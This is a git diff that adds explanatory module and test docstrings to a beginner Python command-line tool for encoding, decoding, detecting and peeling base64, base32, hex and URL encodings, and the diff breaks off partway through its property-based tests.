a/PROJECTS/beginner/base64-tool/src/base64_tool/cli.py +++ b/PROJECTS/beginner/base64-tool/src/base64_tool/cli.py @@ -1,6 +1,28 @@ """ ©AngelaMos | 2026 cli.py + +Typer CLI application with five encoding subcommands + +Defines the b64tool Typer app and its five commands: encode, decode, +detect, peel, and chain. Each command resolves its input from a +positional argument, --file, or stdin, delegates to the appropriate +logic module, then passes results to formatter.py for display. The +chain command applies a comma-separated sequence of formats in order, +passing each encoded output as the next step's input. + +Key exports: + app - The Typer application instance registered as the CLI entry point + +Connects to: + __init__.py - imports __version__ + constants.py - imports EncodingFormat, ExitCode, PEEL_MAX_DEPTH + encoders.py - imports encode, decode, encode_url, decode_url + detector.py - imports detect_encoding, score_all_formats + peeler.py - imports peel + formatter.py - imports all print_* functions + utils.py - imports resolve_input_bytes, resolve_input_text + test_cli.py - exercises all commands via Typer's CliRunner """ from pathlib import Path diff --git a/PROJECTS/beginner/base64-tool/src/base64_tool/constants.py b/PROJECTS/beginner/base64-tool/src/base64_tool/constants.py index 77741d4d..fc05ca79 100644 --- a/PROJECTS/beginner/base64-tool/src/base64_tool/constants.py +++ b/PROJECTS/beginner/base64-tool/src/base64_tool/constants.py @@ -1,6 +1,28 @@ """ ©AngelaMos | 2026 constants.py + +Encoding format definitions, scoring weights, and shared constants + +Defines the EncodingFormat and ExitCode enums, numeric thresholds +used by the detector (confidence, printable ratio, min input length), +character set frozensets for charset membership tests, and the +ScoreWeight class that holds every per-format confidence score +contribution. All values shared across the package live here. + +Key exports: + EncodingFormat - StrEnum of supported formats (base64, base64url, base32, hex, url) + ExitCode - CLI exit codes for success, error, and invalid input + ScoreWeight - Per-format scoring weights used by detector.py + BASE64_CHARSET, BASE64URL_CHARSET, BASE32_CHARSET, HEX_CHARSET - Valid character sets + CONFIDENCE_THRESHOLD, PEEL_MAX_DEPTH, PREVIEW_LENGTH - Shared thresholds + +Connects to: + encoders.py - imports EncodingFormat + detector.py - imports EncodingFormat, ScoreWeight, charsets, thresholds + peeler.py - imports EncodingFormat, PEEL_MAX_DEPTH, CONFIDENCE_THRESHOLD + formatter.py - imports EncodingFormat, CONFIDENCE_THRESHOLD, PREVIEW_LENGTH + cli.py - imports EncodingFormat, ExitCode, PEEL_MAX_DEPTH """ from enum import StrEnum diff --git a/PROJECTS/beginner/base64-tool/src/base64_tool/detector.py b/PROJECTS/beginner/base64-tool/src/base64_tool/detector.py index df8c6ea8..273f20ca 100644 --- a/PROJECTS/beginner/base64-tool/src/base64_tool/detector.py +++ b/PROJECTS/beginner/base64-tool/src/base64_tool/detector.py @@ -1,6 +1,30 @@ """ ©AngelaMos | 2026 detector.py + +Format detection via per-format confidence scoring + +Runs each input string through five scoring functions (one per +supported format) that check charset membership, structural constraints +like padding alignment, and whether the decoded result is printable +text. Scores are clamped to [0.0, 1.0]. Results above +CONFIDENCE_THRESHOLD are returned as DetectionResult instances, +sorted by confidence descending. + +Key exports: + DetectionResult - Frozen dataclass with format, confidence, and decoded bytes + detect_encoding() - Returns all formats that exceed the confidence threshold + detect_best() - Returns the single highest-confidence result, or None + score_all_formats() - Returns raw confidence scores for every format + +Connects to: + constants.py - imports charsets, thresholds, ScoreWeight, EncodingFormat + encoders.py - imports try_decode + utils.py - imports is_printable_text + peeler.py - imports detect_best, score_all_formats + formatter.py - imports DetectionResult + cli.py - imports detect_encoding, score_all_formats + test_detector.py - tests detection accuracy per format """ import re diff --git a/PROJECTS/beginner/base64-tool/src/base64_tool/encoders.py b/PROJECTS/beginner/base64-tool/src/base64_tool/encoders.py index 1686f663..ad28a717 100644 --- a/PROJECTS/beginner/base64-tool/src/base64_tool/encoders.py +++ b/PROJECTS/beginner/base64-tool/src/base64_tool/encoders.py @@ -1,6 +1,29 @@ """ ©AngelaMos | 2026 encoders.py + +Encode and decode functions for all five supported formats + +Provides individual encode/decode functions for base64, base64url, +base32, hex, and URL percent-encoding, plus a dispatch registry +(ENCODER_REGISTRY) that maps each EncodingFormat to its function pair. +The top-level encode(), decode(), and try_decode() functions route +calls through the registry and handle all common decoding exceptions. + +Key exports: + encode() - Encode bytes to string for a given format + decode() - Decode string to bytes for a given format + try_decode() - Like decode() but returns None on failure instead of raising + ENCODER_REGISTRY - Dict mapping EncodingFormat to (encoder, decoder) function pairs + EncoderFn, DecoderFn - Type aliases for encoder and decoder callables + +Connects to: + constants.py - imports EncodingFormat + detector.py - imports try_decode + cli.py - imports encode, decode, encode_url, decode_url + test_encoders.py - tests all functions directly + test_properties.py - property-based roundtrip tests + test_peeler.py - imports encode to build test inputs """ import base64 as b64 diff --git a/PROJECTS/beginner/base64-tool/src/base64_tool/formatter.py b/PROJECTS/beginner/base64-tool/src/base64_tool/formatter.py index da18ec3f..9eec81ec 100644 --- a/PROJECTS/beginner/base64-tool/src/base64_tool/formatter.py +++ b/PROJECTS/beginner/base64-tool/src/base64_tool/formatter.py @@ -1,6 +1,30 @@ """ ©AngelaMos | 2026 formatter.py + +Rich terminal output for all CLI commands + +Handles all display logic for encoded strings, decoded bytes, +detection tables, peel layer summaries, and chain step results. +Detects whether stdout is a TTY or a pipe and switches between +Rich-formatted panels and raw text output. All Rich output goes +to stderr so piped stdout stays machine-readable. + +Key exports: + print_encoded() - Displays an encoded string in a Rich panel or raw to stdout + print_decoded() - Displays decoded bytes as text or hex fallback + print_detection() - Renders a confidence table for detect results + print_peel_result() - Renders each peel layer and a final output panel + print_chain_result() - Renders each encoding step and the final chain result + print_score_breakdown() - Renders per-format score table for verbose mode + is_piped() - Returns True when stdout is not a TTY + +Connects to: + constants.py - imports CONFIDENCE_THRESHOLD, PREVIEW_LENGTH, EncodingFormat + detector.py - imports DetectionResult + peeler.py - imports PeelResult + utils.py - imports safe_bytes_preview + cli.py - imports all print_* functions """ import sys diff --git a/PROJECTS/beginner/base64-tool/src/base64_tool/peeler.py b/PROJECTS/beginner/base64-tool/src/base64_tool/peeler.py index 35b9b7c3..91972308 100644 --- a/PROJECTS/beginner/base64-tool/src/base64_tool/peeler.py +++ b/PROJECTS/beginner/base64-tool/src/base64_tool/peeler.py @@ -1,6 +1,27 @@ """ ©AngelaMos | 2026 peeler.py + +Recursive multi-layer encoding detection and decoding + +Iteratively calls detect_best() on the current text, decodes one +layer at a time, and continues until no encoding is detected, the +decoded output is not valid UTF-8, or max_depth is reached. Each +iteration produces a PeelLayer record capturing the format, confidence, +and previews. The complete result is returned as an immutable PeelResult. + +Key exports: + PeelLayer - Frozen dataclass for a single decoded layer (depth, format, confidence, previews) + PeelResult - Frozen dataclass with all layers, final bytes output, and success flag + peel() - Main entry point for recursive decoding + +Connects to: + constants.py - imports PEEL_MAX_DEPTH, CONFIDENCE_THRESHOLD, EncodingFormat + detector.py - imports detect_best, score_all_formats + utils.py - imports safe_bytes_preview, truncate + formatter.py - imports PeelResult + cli.py - imports peel + test_peeler.py - tests single and multi-layer peeling """ from dataclasses import dataclass diff --git a/PROJECTS/beginner/base64-tool/src/base64_tool/utils.py b/PROJECTS/beginner/base64-tool/src/base64_tool/utils.py index 0c4d94d0..d146c584 100644 --- a/PROJECTS/beginner/base64-tool/src/base64_tool/utils.py +++ b/PROJECTS/beginner/base64-tool/src/base64_tool/utils.py @@ -1,6 +1,27 @@ """ ©AngelaMos | 2026 utils.py + +Input resolution and string/bytes utility functions + +Handles the three input sources the CLI accepts: a positional +argument, a --file path, or piped stdin. Also provides truncate() +for capping display strings, safe_bytes_preview() for converting +raw bytes to a readable preview, and is_printable_text() for +checking whether decoded bytes look like human-readable output. + +Key exports: + resolve_input_bytes() - Returns raw bytes from argument, file, or stdin + resolve_input_text() - Returns decoded text from argument, file, or stdin + truncate() - Truncates a string with "..." if it exceeds the length limit + safe_bytes_preview() - Converts bytes to UTF-8 string or hex fallback + is_printable_text() - Returns True if bytes decode to mostly printable characters + +Connects to: + detector.py - imports is_printable_text + peeler.py - imports safe_bytes_preview, truncate + formatter.py - imports safe_bytes_preview + cli.py - imports resolve_input_bytes, resolve_input_text """ import sys diff --git a/PROJECTS/beginner/base64-tool/tests/test_cli.py b/PROJECTS/beginner/base64-tool/tests/test_cli.py index fdb909ff..6896311a 100644 --- a/PROJECTS/beginner/base64-tool/tests/test_cli.py +++ b/PROJECTS/beginner/base64-tool/tests/test_cli.py @@ -1,6 +1,24 @@ """ ©AngelaMos | 2026 test_cli.py + +Integration tests for all five CLI commands via Typer's CliRunner + +Invokes each CLI command end-to-end without spawning subprocesses and +verifies exit codes and output content. Covers encode, decode, detect, +peel, and chain along with the --version flag and error paths (invalid +format, bad input). + +Tests: + TestEncodeCommand - base64, hex, base32, url, empty input + TestDecodeCommand - base64, hex, invalid input returns non-zero exit + TestDetectCommand - base64 detection, hex detection, no-match message + TestPeelCommand - single layer, plain text with no layers + TestChainCommand - single step, multiple steps, unknown format error + TestVersionFlag - version string present in output + +Connects to: + cli.py - imports app (the Typer application under test) """ from typer.testing import CliRunner @@ -13,11 +31,17 @@ runner = CliRunner() class TestEncodeCommand: def test_encode_base64(self) -> None: + """ + Checks that the encode command outputs the correct base64 string + """ result = runner.invoke(app, ["encode", "Hello World"]) assert result.exit_code == 0 assert "SGVsbG8gV29ybGQ=" in result.output def test_encode_hex(self) -> None: + """ + Checks that the encode command outputs the correct hex string with --format hex + """ result = runner.invoke( app, ["encode", @@ -29,6 +53,9 @@ class TestEncodeCommand: assert "48656c6c6f" in result.output def test_encode_base32(self) -> None: + """ + Checks that the encode command outputs the correct base32 string with --format base32 + """ result = runner.invoke( app, ["encode", @@ -40,6 +67,9 @@ class TestEncodeCommand: assert "JBSWY3DP" in result.output def test_encode_url(self) -> None: + """ + Checks that the encode command percent-encodes special characters with --format url + """ result = runner.invoke( app, ["encode", @@ -51,12 +81,18 @@ class TestEncodeCommand: assert "%20" in result.output or "hello" in result.output def test_encode_empty_string(self) -> None: + """ + Checks that encoding an empty string succeeds without error + """ result = runner.invoke(app, ["encode", ""]) assert result.exit_code == 0 class TestDecodeCommand: def test_decode_base64(self) -> None: + """ + Checks that the decode command recovers 'Hello World' from a known base64 string + """ result = runner.invoke( app, ["decode", @@ -66,6 +102,9 @@ class TestDecodeCommand: assert "Hello World" in result.output def test_decode_hex(self) -> None: + """ + Checks that the decode command recovers 'Hello' from a hex string + """ result = runner.invoke( app, ["decode", @@ -77,6 +116,9 @@ class TestDecodeCommand: assert "Hello" in result.output def test_decode_invalid_base64(self) -> None: + """ + Checks that decoding garbage input exits with a non-zero code + """ result = runner.invoke( app, ["decode", @@ -87,6 +129,9 @@ class TestDecodeCommand: class TestDetectCommand: def test_detect_base64(self) -> None: + """ + Checks that the detect command identifies base64 in its output + """ result = runner.invoke( app, ["detect", @@ -96,6 +141,9 @@ class TestDetectCommand: assert "base64" in result.output.lower() def test_detect_hex(self) -> None: + """ + Checks that the detect command identifies hex in its output + """ result = runner.invoke( app, ["detect", @@ -105,6 +153,9 @@ class TestDetectCommand: assert "hex" in result.output.lower() def test_detect_no_match(self) -> None: + """ + Checks that the detect command reports no encoding found for plain text + """ result = runner.invoke( app, ["detect", @@ -116,6 +167,9 @@ class TestDetectCommand: class TestPeelCommand: def test_peel_single_layer(self) -> None: + """ + Checks that the peel command reports at least one layer for a base64 string + """ result = runner.invoke( app, ["peel", @@ -125,6 +179,9 @@ class TestPeelCommand: assert "layer" in result.output.lower() def test_peel_no_encoding(self) -> None: + """ + Checks that the peel command exits cleanly when no encoding is found + """ result = runner.invoke( app, ["peel", @@ -135,6 +192,9 @@ class TestPeelCommand: class TestChainCommand: def test_chain_single_step(self) -> None: + """ + Checks that the chain command applies one base64 step correctly + """ result = runner.invoke( app, ["chain", @@ -146,6 +206,9 @@ class TestChainCommand: assert "SGVsbG8=" in result.output def test_chain_multiple_steps(self) -> None: + """ + Checks that the chain command applies two steps in sequence without error + """ result = runner.invoke( app, ["chain", @@ -156,6 +219,9 @@ class TestChainCommand: assert result.exit_code == 0 def test_chain_invalid_format(self) -> None: + """ + Checks that an unknown format name causes the chain command to exit with an error + """ result = runner.invoke( app, ["chain", @@ -168,6 +234,9 @@ class TestChainCommand: class TestVersionFlag: def test_version_output(self) -> None: + """ + Checks that --version prints the tool name and exits cleanly + """ result = runner.invoke(app, ["--version"]) assert result.exit_code == 0 assert "b64tool" in result.output diff --git a/PROJECTS/beginner/base64-tool/tests/test_detector.py b/PROJECTS/beginner/base64-tool/tests/test_detector.py index 6027825c..d2ad0b55 100644 --- a/PROJECTS/beginner/base64-tool/tests/test_detector.py +++ b/PROJECTS/beginner/base64-tool/tests/test_detector.py @@ -1,6 +1,26 @@ """ ©AngelaMos | 2026 test_detector.py + +Tests for format detection accuracy and edge cases in detector.py + +Verifies that detect_best() and detect_encoding() correctly identify +each supported format from realistic input strings, that multi-format +results are sorted by confidence, and that unrecognized or too-short +inputs return empty results or None. + +Tests: + TestDetectBase64 - standard padding, no padding, +/ characters + TestDetectBase64Url - URL-safe -_ character detection + TestDetectBase32 - uppercase inputs, standard padding + TestDetectHex - alpha hex chars, colon-separated, pure digits (low confidence) + TestDetectUrl - percent sequences, heavily encoded strings + TestDetectMultiple - sort order, no-match plain text, short string + TestDetectBest - highest confidence selection, None on no match + +Connects to: + detector.py - imports detect_best, detect_encoding + constants.py - imports EncodingFormat """ from base64_tool.constants import EncodingFormat @@ -9,17 +29,26 @@ from base64_tool.detector import detect_best, detect_encoding class TestDetectBase64: def test_standard_base64(self) -> None: + """ + Checks that a padded base64 string is detected as base64 with high confidence + """ result = detect_best("SGVsbG8gV29ybGQ=") assert result is not None assert result.format == EncodingFormat.BASE64 assert result.confidence >= 0.7 def test_base64_no_padding(self) -> None: + """ + Checks that base64 without trailing = padding is still detected + """ result = detect_best("SGVsbG8gV29ybGQh") assert result is not None assert result.format == EncodingFormat.BASE64 def test_base64_with_plus_slash(self) -> None: + """ + Checks that base64 containing + and / characters is detected correctly + """ result = detect_best("dGVzdC9wYXRoK3F1ZXJ5") assert result is not None assert result.format == EncodingFormat.BASE64 @@ -27,6 +56,9 @@ class TestDetectBase64: class TestDetectBase64Url: def test_url_safe_chars(self) -> None: + """ + Checks that a base64url string with - and _ is detected as base64url or base64 + """ result = detect_best("dGVzdC1kYXRhX3ZhbHVl") assert result is not None assert result.format in ( @@ -37,12 +69,18 @@ class TestDetectBase64Url: class TestDetectBase32: def test_standard_base32(self) -> None: + """ + Checks that a padded uppercase base32 string is detected with sufficient confidence + """ result = detect_best("JBSWY3DPEBLW64TMMQ======") assert result is not None assert result.format == EncodingFormat.BASE32 assert result.confidence >= 0.6 def test_base32_uppercase(self) -> None: + """ + Checks that a short uppercase base32 string is detected + """ result = detect_best("JBSWY3DP") assert result is not None assert result.format == EncodingFormat.BASE32 @@ -50,17 +88,26 @@ class TestDetectBase32: class TestDetectHex: def test_hex_with_letters(self) -> None: + """ + Checks that a hex string containing alpha characters is detected as hex + """ result = detect_best("48656c6c6f20576f726c64") assert result is not None assert result.format == EncodingFormat.HEX assert result.confidence >= 0.6 def test_hex_with_colons(self) -> None: + """ + Checks that colon-separated hex bytes are detected as hex + """ result = detect_best("48:65:6c:6c:6f:20:57:6f:72:6c:64") assert result is not None assert result.format == EncodingFormat.HEX def test_pure_digits_not_detected(self) -> None: + """ + Checks that a digit-only string is not confidently detected as hex + """ result = detect_best("1234567890") if result is not None and result.format == EncodingFormat.HEX: assert result.confidence < 0.7 @@ -68,11 +115,17 @@ class TestDetectHex: class TestDetectUrl: def test_url_encoded(self) -> None: + """ + Checks that a string with percent-encoded characters is detected as URL encoding + """ result = detect_best("hello%20world%21%40%23") assert result is not None assert result.format == EncodingFormat.URL def test_heavily_encoded(self) -> None: + """ + Checks that a heavily percent-encoded string is detected with sufficient confidence + """ result = detect_best("%48%65%6C%6C%6F%20%57%6F%72%6C%64") assert result is not None assert result.format == EncodingFormat.URL @@ -81,22 +134,34 @@ class TestDetectUrl: class TestDetectMultiple: def test_returns_sorted_by_confidence(self) -> None: + """ + Checks that multiple detection results come back sorted highest confidence first + """ results = detect_encoding("SGVsbG8gV29ybGQ=") if len(results) > 1: confidences = [r.confidence for r in results] assert confidences == sorted(confidences, reverse = True) def test_no_match_returns_empty(self) -> None: + """ + Checks that plain unencoded text returns no detection results + """ results = detect_encoding("hello world") assert results == [] def test_short_string_returns_empty(self) -> None: + """ + Checks that strings below the minimum length return no results + """ results = detect_encoding("ab") assert results == [] class TestDetectBest: def test_returns_highest_confidence(self) -> None: + """ + Checks that detect_best returns the same result as the first item from detect_encoding + """ result = detect_best("SGVsbG8gV29ybGQ=") assert result is not None all_results = detect_encoding("SGVsbG8gV29ybGQ=") @@ -104,4 +169,7 @@ class TestDetectBest: assert result.confidence == all_results[0].confidence def test_no_match_returns_none(self) -> None: + """ + Checks that detect_best returns None when nothing is detected + """ assert detect_best("not encoded at all!") is None diff --git a/PROJECTS/beginner/base64-tool/tests/test_encoders.py b/PROJECTS/beginner/base64-tool/tests/test_encoders.py index 59292449..e8b86949 100644 --- a/PROJECTS/beginner/base64-tool/tests/test_encoders.py +++ b/PROJECTS/beginner/base64-tool/tests/test_encoders.py @@ -1,6 +1,25 @@ """ ©AngelaMos | 2026 test_encoders.py + +Unit tests for all encoder and decoder functions in encoders.py + +Tests each format with known-good inputs, full roundtrips, whitespace +tolerance in decoders, binary and unicode data, and invalid input +rejection. Also covers the ENCODER_REGISTRY dispatch via encode() and +decode(), and the try_decode() safe wrapper. + +Tests: + TestBase64 - encode, decode, roundtrip, whitespace, binary, unicode, invalid input + TestBase64Url - URL-safe character guarantees and roundtrip + TestBase32 - encode, decode, lowercase tolerance, padding + TestHex - encode, decode, colon/space/dash separator variants + TestUrl - percent-encoding, form-encoding (plus signs), roundtrip + TestRegistryDispatch - parametrized roundtrip for all formats, try_decode + +Connects to: + encoders.py - all functions under test + constants.py - imports EncodingFormat """ import binascii @@ -27,34 +46,61 @@ from base64_tool.encoders import ( class TestBase64: def test_encode_simple_text(self) -> None: + """ + Checks that 'Hello World' encodes to the known base64 string + """ assert encode_base64(b"Hello World") == "SGVsbG8gV29ybGQ=" def test_decode_simple_text(self) -> None: + """ + Checks that a known base64 string decodes back to 'Hello World' + """ assert decode_base64("SGVsbG8gV29ybGQ=") == b"Hello World" def test_roundtrip(self) -> None: + """ + Encodes then decodes an ASCII sentence and checks it matches the original + """ original = b"The quick brown fox jumps over the lazy dog" assert decode_base64(encode_base64(original)) == original def test_encode_empty(self) -> None: + """ + Checks that encoding empty bytes produces an empty string + """ assert encode_base64(b"") == "" def test_decode_empty(self) -> None: + """ + Checks that decoding an empty string produces empty bytes + """ assert decode_base64("") == b"" def test_encode_binary_data(self) -> None: + """ + Encodes all 256 byte values and checks the roundtrip is lossless + """ data = bytes(range(256)) assert decode_base64(encode_base64(data)) == data def test_decode_with_whitespace(self) -> None: + """ + Checks that a base64 string split across newlines still decodes correctly + """ encoded = "SGVs\nbG8g\nV29y\nbGQ=" assert decode_base64(encoded) == b"Hello World" def test_decode_invalid_raises(self) -> None: + """ + Checks that decoding garbage characters raises an exception + """ with pytest.raises((ValueError, binascii.Error)): decode_base64("!!!invalid!!!") def test_encode_unicode(self) -> None: + """ + Checks that multi-byte unicode survives a base64 roundtrip + """ data = "Hello 世界".encode() decoded = decode_base64(encode_base64(data)) assert decoded == data @@ -62,81 +108,141 @@ class TestBase64: class TestBase64Url: def test_encode_with_url_chars(self) -> None: + """ + Checks that URL-safe base64 never emits + or / characters + """ data = b"\xfb\xff\xfe" encoded = encode_base64url(data) assert "+" not in encoded assert "/" not in encoded def test_decode_url_safe(self) -> None: + """ + Checks that data containing / and + round-trips through URL-safe base64 + """ result = decode_base64url(encode_base64url(b"test/path+query")) assert result == b"test/path+query" def test_roundtrip(self) -> None: + """ + Encodes then decodes a URL string and checks it matches the original + """ original = b"https://example.com?token=abc+def/ghi" assert decode_base64url(encode_base64url(original)) == original class TestBase32: def test_encode_simple(self) -> None: + """ + Checks that 'Hello' encodes to its known base32 representation + """ assert encode_base32(b"Hello") == "JBSWY3DP" def test_decode_simple(self) -> None: + """ + Checks that a known base32 string decodes to 'Hello' + """ assert decode_base32("JBSWY3DP") == b"Hello" def test_roundtrip(self) -> None: + """ + Encodes then decodes a short sentence and checks it matches the original + """ original = b"Base32 encoding test" assert decode_base32(encode_base32(original)) == original def test_decode_lowercase_accepted(self) -> None: + """ + Checks that lowercase base32 input is accepted and decoded correctly + """ assert decode_base32("jbswy3dp") == b"Hello" def test_decode_with_padding(self) -> None: + """ + Checks that a padded base32 string decodes to 'Hello World' + """ assert decode_base32("JBSWY3DPEBLW64TMMQ======") == b"Hello World" class TestHex: def test_encode_simple(self) -> None: + """ + Checks that bytes \\xca\\xfe encode to the hex string 'cafe' + """ assert encode_hex(b"\xca\xfe") == "cafe" def test_decode_simple(self) -> None: + """ + Checks that 'cafe' decodes to the bytes \\xca\\xfe + """ assert decode_hex("cafe") == b"\xca\xfe" def test_decode_with_colons(self) -> None: + """ + Checks that colon-separated hex decodes correctly + """ assert decode_hex("ca:fe:ba:be") == b"\xca\xfe\xba\xbe" def test_decode_with_spaces(self) -> None: + """ + Checks that space-separated hex decodes correctly + """ assert decode_hex("ca fe ba be") == b"\xca\xfe\xba\xbe" def test_decode_with_dashes(self) -> None: + """ + Checks that dash-separated hex decodes correctly + """ assert decode_hex("ca-fe-ba-be") == b"\xca\xfe\xba\xbe" def test_decode_uppercase(self) -> None: + """ + Checks that uppercase hex input decodes correctly + """ assert decode_hex("CAFE") == b"\xca\xfe" def test_roundtrip(self) -> None: + """ + Encodes then decodes a known string and checks no data is lost + """ original = b"Hello World" assert decode_hex(encode_hex(original)) == original class TestUrl: def test_encode_special_chars(self) -> None: + """ + Checks that spaces and ampersands are percent-encoded + """ result = encode_url(b"hello world&foo=bar") assert " " not in result assert "&" not in result def test_decode_percent_encoded(self) -> None: + """ + Checks that %20 decodes to a space + """ assert decode_url("hello%20world") == b"hello world" def test_roundtrip(self) -> None: + """ + Encodes then decodes a URL with a query string and checks it matches the original + """ original = b"path/to/file?key=value&other=test" assert decode_url(encode_url(original)) == original def test_form_encode_space_as_plus(self) -> None: + """ + Checks that form encoding turns spaces into + rather than %20 + """ result = encode_url(b"hello world", form = True) assert "+" in result assert "%20" not in result def test_form_decode_plus_as_space(self) -> None: + """ + Checks that form decoding turns + back into a space + """ assert decode_url("hello+world", form = True) == b"hello world" @@ -146,15 +252,24 @@ class TestRegistryDispatch: self, fmt: EncodingFormat, ) -> None: + """ + Checks that all registered formats produce a lossless roundtrip via encode() and decode() + """ original = b"roundtrip test data" encoded = encode(original, fmt) decoded = decode(encoded, fmt) assert decoded == original def test_try_decode_valid(self) -> None: + """ + Checks that try_decode returns the correct bytes for valid input + """ result = try_decode("SGVsbG8=", EncodingFormat.BASE64) assert result == b"Hello" def test_try_decode_invalid_returns_none(self) -> None: + """ + Checks that try_decode returns None instead of raising for garbage input + """ result = try_decode("!!!bad!!!", EncodingFormat.BASE64) assert result is None diff --git a/PROJECTS/beginner/base64-tool/tests/test_peeler.py b/PROJECTS/beginner/base64-tool/tests/test_peeler.py index a32793af..a0fe36d9 100644 --- a/PROJECTS/beginner/base64-tool/tests/test_peeler.py +++ b/PROJECTS/beginner/base64-tool/tests/test_peeler.py @@ -1,6 +1,23 @@ """ ©AngelaMos | 2026 test_peeler.py + +Tests for single-layer and multi-layer decoding in peeler.py + +Verifies that peel() strips one encoding layer correctly, handles +stacked encodings (base64 over hex, double base64), respects the +max_depth limit, and populates layer metadata accurately including +depth index, format, confidence, and preview strings. + +Tests: + TestSingleLayer - base64, hex, base32 single-layer peeling + TestMultiLayer - base64+hex and double-base64 stacked encodings + TestPeelEdgeCases - plain text input, max_depth=0, empty string, layer metadata fields + +Connects to: + peeler.py - imports peel + encoders.py - imports encode to construct layered test inputs + constants.py - imports EncodingFormat """ from base64_tool.constants import EncodingFormat @@ -10,6 +27,9 @@ from base64_tool.peeler import peel class TestSingleLayer: def test_peel_base64(self) -> None: + """ + Checks that a single base64 layer is peeled and the original bytes recovered + """ encoded = encode(b"Hello World", EncodingFormat.BASE64) result = peel(encoded) assert result.success is True @@ -18,6 +38,9 @@ class TestSingleLayer: assert result.final_output == b"Hello World" def test_peel_hex(self) -> None: + """ + Checks that a single hex layer is peeled and the original bytes recovered + """ encoded = encode(b"Hello World", EncodingFormat.HEX) result = peel(encoded) assert result.success is True @@ -25,6 +48,9 @@ class TestSingleLayer: assert result.final_output == b"Hello World" def test_peel_base32(self) -> None: + """ + Checks that a single base32 layer is successfully detected and peeled + """ encoded = encode(b"Hello World", EncodingFormat.BASE32) result = peel(encoded) assert result.success is True @@ -33,6 +59,9 @@ class TestSingleLayer: class TestMultiLayer: def test_base64_then_hex(self) -> None: + """ + Checks that two stacked layers (base64 inside hex) are both peeled + """ step1 = encode(b"secret payload", EncodingFormat.BASE64) step2 = encode(step1.encode("utf-8"), EncodingFormat.HEX) result = peel(step2) @@ -41,6 +70,9 @@ class TestMultiLayer: assert b"secret payload" in result.final_output def test_base64_double_encoded(self) -> None: + """ + Checks that base64 applied twice is unwrapped through both layers + """ step1 = encode(b"double layer", EncodingFormat.BASE64) step2 = encode(step1.encode("utf-8"), EncodingFormat.BASE64) result = peel(step2) @@ -50,20 +82,32 @@ class TestMultiLayer: class TestPeelEdgeCases: def test_plaintext_no_layers(self) -> None: + """ + Checks that plain text with no encoding returns a failed peel with zero layers + """ result = peel("just plain text") assert result.success is False assert len(result.layers) == 0 def test_max_depth_respected(self) -> None: + """ + Checks that setting max_depth=0 prevents any layers from being peeled + """ encoded = encode(b"data", EncodingFormat.BASE64) result = peel(encoded, max_depth = 0) assert len(result.layers) == 0 def test_empty_string(self) -> None: + """ + Checks that an empty string results in a failed peel + """ result = peel("") assert result.success is False def test_layer_metadata_populated(self) -> None: + """ + Checks that a successful peel populates depth, confidence, and preview fields + """ encoded = encode(b"test data", EncodingFormat.BASE64) result = peel(encoded) if result.success and result.layers: diff --git a/PROJECTS/beginner/base64-tool/tests/test_properties.py b/PROJECTS/beginner/base64-tool/tests/test_properties.py index 552a52f7..1810af56 100644 --- a/PROJECTS/beginner/base64-tool/tests/test_properties.py +++ b/PROJECTS/beginner/base64-tool/tests/test_properties.py @@ -1,6 +1,26 @@ """ ©AngelaMos | 2026 test_properties.py + +Property-based roundtrip and structural invariant tests using Hypothesis + +Generates arbitrary binary and text inputs to verify that every +encode/decode pair is lossless and that encoded output meets format +constraints: ASCII-only, correct length multiples, correct character +sets, and URL form-encoding symmetry. Cross-format roundtrips are +verified in a single parametrized test. + +Tests: + TestBase64Properties - roundtrip, ASCII output, length multiple of 4 + TestBase64UrlProperties - roundtrip, no +/ characters in output + TestBase32Properties - roundtrip, uppercase output, length multiple of 8 + TestHexProperties - roundtrip, output length exactly double, lowercase hex chars only + TestUrlProperties - roundtrip and form encoding roundtrip (200 examples each) + TestCrossFormatProperties - all non-URL formats pass roundtrip for arbitrary binary + +Connects to: + encoders.py - all encode/decode functions under test + constants.py - imports EncodingFormat """ from hypothesis import given, settings, strategies as st @@ -25,15 +45,24 @@ from base64_tool.encoders import ( class TestBase64Properties: @given(st.binary()) def test_roundtrip(self, data: bytes) -> None: + """ + Checks that arbitrary binary data survives a base64 encode-decode cycle unchanged + """ assert decode_base64(encode_base64(data)) == data @given(st.binary(min_size=1)) def test_encoded_is_ascii(self, data: bytes) -> None: + """ + Checks that base64 output is always valid ASCII + """ encoded = encode_base64(data) encoded.encode("ascii") @given(st.binary()) def test_encoded_length_is_multiple_of_4(self, data: bytes) -> None: + """ + Checks that base64 output length is always a multiple of 4 + """ encoded = encode_base64(data) if encoded: assert len(encoded) % 4 == 0 @@ -42,10 +71,16 @@ class TestBase64Properties: class TestBase64UrlProperties: @given(st.binary()) def test_roundtrip(self, data: bytes) -> None: + """ + Checks that arbitrary binary data survives a base64url encode-decode cycle unchanged + """ assert decode_base64url(encode_base64url(data)) == data @given(st.binary(min_size=1)) def test_no_standard_base64_chars(self, data: bytes) -> None: + """ + Checks that base64url output never contains + or / + """ encoded = encode_base64url(data) assert "+" not in encoded assert "/" not in encoded @@ -54,15 +89,24 @@ class TestBase64UrlProperties: class TestBase32Properties: @given(st.binary()) def test_roundtrip(self, data: bytes) -> None: + """ + Checks that arbitrary binary data survives a base32 encode-decode cycle unchanged + """ assert decode_base32(encode_base32(data)) == data @given(st.binary(min_size=1)) def test_encoded_is_uppercase(self, data: bytes) -> None: + """ + Checks that base32 output is always uppercase + """ encoded = encode_base32(data) assert encoded == encoded.upper() @given(st.binary()) def test_encoded_length_is_multiple_of_8(self, data: bytes) -> None: + """ + Checks that base32 output length is always a multiple of 8 + """ encoded = encode_base32(data) if encoded: assert len(encoded) % 8 == 0 @@ -71,14 +115,23 @@ class TestBase32Properties: class TestHexProperties: @given(st.binary()) def test_roundtrip(self, data: bytes) -> None: + """ + Checks that arbitrary binary data survives a hex encode-decode cycle unchanged + """ assert decode_hex(encode_hex(data)) == data @given(st.binary(min_size=1)) def test_encoded_length_is_double(self, data: bytes) -> None: + """ + Checks that hex output is exactly twice the length of the input + """ assert len(encode_hex(data)) == len(data) * 2 @given(st.binary()) def test_encoded_is_hex_chars_only(self, data: bytes) -> None: + """ + Checks that hex output contains only lowercase hex characters + """ encoded = encode_hex(data) assert all(c in "0123456789abcdef" for c in encoded) @@ -87,12 +140,18 @@ class TestUrlProperties: @given(st.text(alphabet=st.characters(codec="utf-8", categories=("L", "N", "P", "S", "Z")))) @settings(max_examples=200) def test_roundtrip(self, text: str) -> None: + """ + Checks that arbitrary UTF-8 text survives a URL encode-decode cycle unchanged + """ data = text.encode("utf-8") assert decode_url(encode_url(data)) == data @given(st.text(alphabet=st.characters(codec="utf-8", categories=("L", "N", "P", "S", "Z")))) @settings(max_examples=200) 